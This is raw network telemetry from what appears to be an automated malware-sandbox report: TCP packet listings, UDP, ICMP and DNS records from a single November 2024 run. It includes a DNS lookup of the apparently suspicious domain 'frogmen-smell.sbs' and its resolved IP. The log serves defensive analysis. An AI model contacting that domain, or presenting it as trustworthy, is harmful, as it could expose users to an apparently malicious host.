Nov 14, 2024 17:25:05.403646946 CET	443	50055	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.403707981 CET	50055	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.405025959 CET	50055	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.405040026 CET	443	50055	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.640059948 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.640130043 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.640180111 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.640256882 CET	50049	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.640256882 CET	50049	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.640271902 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.641268969 CET	50049	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.643718958 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.643811941 CET	50049	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.643819094 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.643842936 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.643874884 CET	50049	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.643874884 CET	50049	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.643897057 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.643959045 CET	50049	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.643965006 CET	443	50049	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.646635056 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.646667004 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.646686077 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.646725893 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.646734953 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.646774054 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.646790028 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.647602081 CET	50059	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.647653103 CET	443	50059	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.647716045 CET	50059	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.647900105 CET	50059	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.647917032 CET	443	50059	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.648897886 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.648937941 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.648961067 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.648967981 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.649008989 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.649051905 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.649051905 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.649051905 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.649251938 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.649252892 CET	50051	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.649259090 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.649266005 CET	443	50051	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.651679993 CET	50060	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.651709080 CET	443	50060	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.651761055 CET	50060	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.651880980 CET	50060	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.651895046 CET	443	50060	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.740678072 CET	443	50050	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.740737915 CET	443	50050	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.740808964 CET	50050	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.740829945 CET	443	50050	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.740890980 CET	443	50050	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.740942001 CET	50050	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.741072893 CET	50050	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.741080046 CET	443	50050	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.741091967 CET	50050	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.741096020 CET	443	50050	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.743987083 CET	50061	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.744024992 CET	443	50061	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:05.744119883 CET	50061	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.744277954 CET	50061	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:05.744306087 CET	443	50061	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.141201019 CET	443	50054	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.141897917 CET	50054	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.141936064 CET	443	50054	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.142421961 CET	50054	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.142431974 CET	443	50054	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.162127972 CET	443	50055	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.162648916 CET	50055	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.162682056 CET	443	50055	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.163028002 CET	50055	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.163049936 CET	443	50055	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.273602962 CET	443	50054	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.273663998 CET	443	50054	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.273832083 CET	50054	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.273864985 CET	443	50054	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.273920059 CET	50054	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.274044037 CET	50054	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.274053097 CET	443	50054	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.274080038 CET	50054	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.274094105 CET	443	50054	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.277605057 CET	50063	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.277689934 CET	443	50063	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.277785063 CET	50063	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.277932882 CET	50063	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.277961969 CET	443	50063	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.298340082 CET	443	50055	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.298393011 CET	443	50055	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.298439980 CET	50055	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.298463106 CET	443	50055	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.298522949 CET	443	50055	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.298568010 CET	50055	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.302267075 CET	50055	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.302288055 CET	443	50055	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.302299976 CET	50055	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.302304029 CET	443	50055	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.305217028 CET	50064	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.305283070 CET	443	50064	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.305365086 CET	50064	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.305500031 CET	50064	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.305519104 CET	443	50064	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.386379957 CET	443	50060	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.386991024 CET	50060	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.387010098 CET	443	50060	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.387506962 CET	50060	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.387511969 CET	443	50060	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.429986954 CET	443	50059	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.430576086 CET	50059	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.430607080 CET	443	50059	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.431071997 CET	50059	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.431081057 CET	443	50059	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.514764071 CET	443	50061	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.518605947 CET	50061	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.518639088 CET	443	50061	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.519129038 CET	50061	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.519140005 CET	443	50061	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.532838106 CET	443	50060	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.533381939 CET	443	50060	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.533441067 CET	50060	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.533471107 CET	50060	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.533484936 CET	443	50060	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.533494949 CET	50060	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.533499956 CET	443	50060	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.536369085 CET	50066	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.536412001 CET	443	50066	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.536487103 CET	50066	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.536609888 CET	50066	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.536628008 CET	443	50066	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.565772057 CET	443	50059	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.566082954 CET	443	50059	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.566276073 CET	50059	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.566276073 CET	50059	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.566276073 CET	50059	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.568597078 CET	50067	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.568684101 CET	443	50067	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.568766117 CET	50067	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.568883896 CET	50067	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.568918943 CET	443	50067	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.667865992 CET	443	50061	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.667917013 CET	443	50061	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.668205023 CET	50061	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.668474913 CET	50061	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.668474913 CET	50061	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.668518066 CET	443	50061	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.668554068 CET	443	50061	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.672488928 CET	50068	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.672534943 CET	443	50068	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.672642946 CET	50068	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.672787905 CET	50068	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.672821999 CET	443	50068	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:06.866096973 CET	50059	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:06.866173029 CET	443	50059	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.076452971 CET	443	50064	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.079417944 CET	50064	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.079457998 CET	443	50064	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.080065012 CET	50064	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.080071926 CET	443	50064	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.090060949 CET	443	50063	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.090712070 CET	50063	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.090773106 CET	443	50063	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.091808081 CET	50063	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.091823101 CET	443	50063	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.211011887 CET	443	50064	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.211082935 CET	443	50064	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.211180925 CET	443	50064	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.211262941 CET	50064	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.215053082 CET	50064	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.307378054 CET	443	50067	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.315613031 CET	443	50066	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.332555056 CET	443	50063	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.332700014 CET	443	50063	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.335292101 CET	50063	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.337146044 CET	50064	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.337192059 CET	443	50064	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.337210894 CET	50064	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.337223053 CET	443	50064	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.338320971 CET	50063	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.338366032 CET	443	50063	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.338396072 CET	50063	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.338413954 CET	443	50063	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.340081930 CET	50067	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.340138912 CET	443	50067	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.340531111 CET	50067	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.340545893 CET	443	50067	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.340976000 CET	50066	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.340991020 CET	443	50066	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.341332912 CET	50066	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.341341019 CET	443	50066	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.345516920 CET	50077	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.345541954 CET	443	50077	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.345604897 CET	50077	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.345722914 CET	50077	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.345735073 CET	443	50077	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.411256075 CET	443	50068	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.415672064 CET	50068	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.415703058 CET	443	50068	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.416129112 CET	50068	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.416141033 CET	443	50068	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.497159004 CET	443	50067	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.497450113 CET	443	50067	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.497525930 CET	50067	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.497591972 CET	50067	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.497591972 CET	50067	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.497623920 CET	443	50067	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.497646093 CET	443	50067	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.500345945 CET	443	50066	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.500441074 CET	443	50066	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.500576973 CET	50066	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.500616074 CET	50066	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.500616074 CET	50066	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.500638008 CET	443	50066	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.500649929 CET	443	50066	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.542690992 CET	443	50068	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.542737961 CET	443	50068	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.542954922 CET	50068	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.543319941 CET	50068	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.543319941 CET	50068	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:07.543387890 CET	443	50068	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:07.543422937 CET	443	50068	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:08.112201929 CET	443	50077	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:08.112802029 CET	50077	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:08.112833977 CET	443	50077	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:08.113333941 CET	50077	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:08.113341093 CET	443	50077	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:08.245922089 CET	443	50077	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:08.246156931 CET	443	50077	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:08.246341944 CET	50077	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:08.246341944 CET	50077	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:08.246341944 CET	50077	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:08.560328007 CET	50077	443	192.168.2.6	13.107.246.45
Nov 14, 2024 17:25:08.560359955 CET	443	50077	13.107.246.45	192.168.2.6
Nov 14, 2024 17:25:11.698508024 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:11.698545933 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:11.698635101 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:11.699110985 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:11.699124098 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.547164917 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.547262907 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:12.549628019 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:12.549638033 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.549974918 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.557060957 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:12.599329948 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.823271990 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.823358059 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.823400974 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.823472023 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:12.823503971 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.823537111 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:12.823566914 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:12.825158119 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.825223923 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.825242043 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:12.825274944 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.825292110 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:12.825391054 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.825450897 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:12.829884052 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:12.829924107 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:12.829936028 CET	50091	443	192.168.2.6	20.109.210.53
Nov 14, 2024 17:25:12.829941988 CET	443	50091	20.109.210.53	192.168.2.6
Nov 14, 2024 17:25:50.873850107 CET	50095	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:25:50.873886108 CET	443	50095	142.250.184.228	192.168.2.6
Nov 14, 2024 17:25:50.873972893 CET	50095	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:25:50.874195099 CET	50095	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:25:50.874201059 CET	443	50095	142.250.184.228	192.168.2.6
Nov 14, 2024 17:25:51.722326994 CET	443	50095	142.250.184.228	192.168.2.6
Nov 14, 2024 17:25:51.722754955 CET	50095	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:25:51.722769976 CET	443	50095	142.250.184.228	192.168.2.6
Nov 14, 2024 17:25:51.723891020 CET	443	50095	142.250.184.228	192.168.2.6
Nov 14, 2024 17:25:51.724185944 CET	50095	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:25:51.724355936 CET	443	50095	142.250.184.228	192.168.2.6
Nov 14, 2024 17:25:51.778561115 CET	50095	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:25:53.575190067 CET	49703	443	192.168.2.6	40.126.32.138
Nov 14, 2024 17:25:53.575310946 CET	49704	80	192.168.2.6	199.232.210.172
Nov 14, 2024 17:25:53.581633091 CET	443	49703	40.126.32.138	192.168.2.6
Nov 14, 2024 17:25:53.581661940 CET	80	49704	199.232.210.172	192.168.2.6
Nov 14, 2024 17:25:53.581803083 CET	49703	443	192.168.2.6	40.126.32.138
Nov 14, 2024 17:25:53.581837893 CET	49704	80	192.168.2.6	199.232.210.172
Nov 14, 2024 17:25:56.669547081 CET	49707	443	192.168.2.6	40.126.32.138
Nov 14, 2024 17:25:56.675045013 CET	443	49707	40.126.32.138	192.168.2.6
Nov 14, 2024 17:25:56.675230026 CET	49707	443	192.168.2.6	40.126.32.138
Nov 14, 2024 17:26:01.724735975 CET	443	50095	142.250.184.228	192.168.2.6
Nov 14, 2024 17:26:01.724910975 CET	443	50095	142.250.184.228	192.168.2.6
Nov 14, 2024 17:26:01.724984884 CET	50095	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:26:03.608186960 CET	50095	443	192.168.2.6	142.250.184.228
Nov 14, 2024 17:26:03.608206987 CET	443	50095	142.250.184.228	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 14, 2024 17:24:19.978283882 CET	54484	53	192.168.2.6	1.1.1.1
Nov 14, 2024 17:24:20.021898985 CET	53	54484	1.1.1.1	192.168.2.6
Nov 14, 2024 17:24:47.145421982 CET	53	62976	1.1.1.1	192.168.2.6
Nov 14, 2024 17:24:47.219217062 CET	53	53714	1.1.1.1	192.168.2.6
Nov 14, 2024 17:24:48.500092030 CET	53	50627	1.1.1.1	192.168.2.6
Nov 14, 2024 17:24:50.814920902 CET	51222	53	192.168.2.6	1.1.1.1
Nov 14, 2024 17:24:50.815062046 CET	52615	53	192.168.2.6	1.1.1.1
Nov 14, 2024 17:24:50.822294950 CET	53	52615	1.1.1.1	192.168.2.6
Nov 14, 2024 17:24:50.822386026 CET	53	51222	1.1.1.1	192.168.2.6
Nov 14, 2024 17:24:51.471676111 CET	59364	53	192.168.2.6	1.1.1.1
Nov 14, 2024 17:24:51.472244978 CET	63072	53	192.168.2.6	1.1.1.1
Nov 14, 2024 17:24:53.878581047 CET	65358	53	192.168.2.6	1.1.1.1
Nov 14, 2024 17:24:53.878581047 CET	57553	53	192.168.2.6	1.1.1.1
Nov 14, 2024 17:25:00.403583050 CET	53	49230	1.1.1.1	192.168.2.6
Nov 14, 2024 17:25:01.393985987 CET	61911	53	192.168.2.6	1.1.1.1
Nov 14, 2024 17:25:01.394196987 CET	58853	53	192.168.2.6	1.1.1.1
Nov 14, 2024 17:25:05.515239000 CET	53	59789	1.1.1.1	192.168.2.6
Nov 14, 2024 17:25:24.436327934 CET	53	49524	1.1.1.1	192.168.2.6
Nov 14, 2024 17:25:46.073689938 CET	53	60875	1.1.1.1	192.168.2.6
Nov 14, 2024 17:25:47.397170067 CET	53	54334	1.1.1.1	192.168.2.6
Nov 14, 2024 17:26:14.162198067 CET	53	61624	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 14, 2024 17:24:48.210514069 CET	192.168.2.6	1.1.1.1	c2e5	(Port unreachable)	Destination Unreachable
Nov 14, 2024 17:25:05.553405046 CET	192.168.2.6	1.1.1.1	c266	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 14, 2024 17:24:19.978283882 CET	192.168.2.6	1.1.1.1	0xa747	Standard query (0)	frogmen-smell.sbs	A (IP address)	IN (0x0001)	false
Nov 14, 2024 17:24:50.814920902 CET	192.168.2.6	1.1.1.1	0xd2de	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 17:24:50.815062046 CET	192.168.2.6	1.1.1.1	0x10fc	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 14, 2024 17:24:51.471676111 CET	192.168.2.6	1.1.1.1	0x986c	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 17:24:51.472244978 CET	192.168.2.6	1.1.1.1	0x72d3	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 14, 2024 17:24:53.878581047 CET	192.168.2.6	1.1.1.1	0x6e79	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 14, 2024 17:24:53.878581047 CET	192.168.2.6	1.1.1.1	0x1ea4	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 14, 2024 17:25:01.393985987 CET	192.168.2.6	1.1.1.1	0x4580	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 14, 2024 17:25:01.394196987 CET	192.168.2.6	1.1.1.1	0xee9a	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 14, 2024 17:24:13.017918110 CET	1.1.1.1	192.168.2.6	0x99c3	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 14, 2024 17:24:13.017918110 CET	1.1.1.1	192.168.2.6	0x99c3	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 14, 2024 17:24:20.021898985 CET	1.1.1.1	192.168.2.6	0xa747	No error (0)	frogmen-smell.sbs		172.67.174.133	A (IP address)	IN (0x0001)	false
